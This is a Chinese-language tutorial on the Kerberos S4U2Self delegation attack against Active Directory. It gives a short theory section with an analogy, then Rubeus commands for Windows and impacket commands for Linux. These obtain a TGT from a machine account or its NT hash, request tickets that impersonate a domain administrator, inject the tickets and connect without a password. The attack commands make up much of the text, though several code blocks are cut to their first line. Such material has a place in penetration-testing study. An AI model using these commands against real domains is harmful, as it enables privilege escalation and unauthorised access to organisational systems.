Theory
前面我们说到了银票攻击,这里有一种更加隐蔽的攻击,S4U2self攻击。
说说前置条件,Kerberos 认证协议具有委托能力。Kerberos 委托允许服务以域用户的身份访问其他服务,攻击者可以利用 Kerberos 委托来获取有价值的资产访问权限,有时甚至可以提升到域管理员权限,而这类委托依赖于 Kerberos 扩展,即 S4U2Self 和 S4U2Proxy。
以一个生动的例子来说明S4U2Self,简单的举个例子:
- 攻击者控制了 HR系统
- 攻击者向安全部门说:”CEO已经登录了,给我一张代表他的通行证”
- 安全部门给攻击者一张”CEO的通行证”
- 攻击者用CEO的身份访问任何资源
S4U2self 还可以用于以其他域用户的身份为该用户生成服务票据,即使该用户是“委托敏感”用户或属于受保护用户组。
1 | # 查看用户的委派敏感性设置 |
并且由于机器用户在创建时默认具有自己的服务主体名称(SPNs),所以所有机器用户都可以进行S4U2Self攻击。
虽然 Silver Ticket 包含了一个伪造的 PAC(权限票据附加信息),但在 S4U2self 请求后发出的服务票据将是合法的,并且包含有效的 PAC。
Practice
windows
首先第一步是请求一个 TGT(票据授予票据),分为两种,一种是我们没有得到用户凭据的情况
1 | Rubeus.exe tgtdeleg /nowrap |
还有一种是有用户凭据(NTHash)
1 | Rubeus.exe asktgt /nowrap /domain:"domain" /user:"computer$" /rc4:"NThash" |
我们再申请票据进行S4U2self攻击,再将票据注入内存即可
1 | Rubeus.exe s4u /self /nowrap /impersonateuser:"DomainAdmin" /altservice:"cifs/machine.domain.local" /ticket:"base64ticket" |
又或者是接着进行S4uproxy攻击
1 | Rubeus.exe s4u /tgs:doIGaDCCBmSgAwIBBaEDAgEWooIFXzCCBVt... /msdsspn:"ldap/dc.domain.local" /impersonateuser:"DomainAdmin" |
linux
1 | impacket-getTGT -dc-ip "$DC_IP" -hashes :"$NT_HASH" "$DOMAIN"/"machine$" |
将TGT处理为ccache文件
1 | echo "doIFmjCCBZagAwIBBaEDAgEWooIEqzCCBKd..." | base64 -d > $ticket.kirbi |
申请票据进行S4U2self攻击
1 | export KRB5CCNAME="/path/to/ticket.ccache" |
获得票据之后无密码连接即可
1 | export KRB5CCNAME="DomainAdmin.ccache" |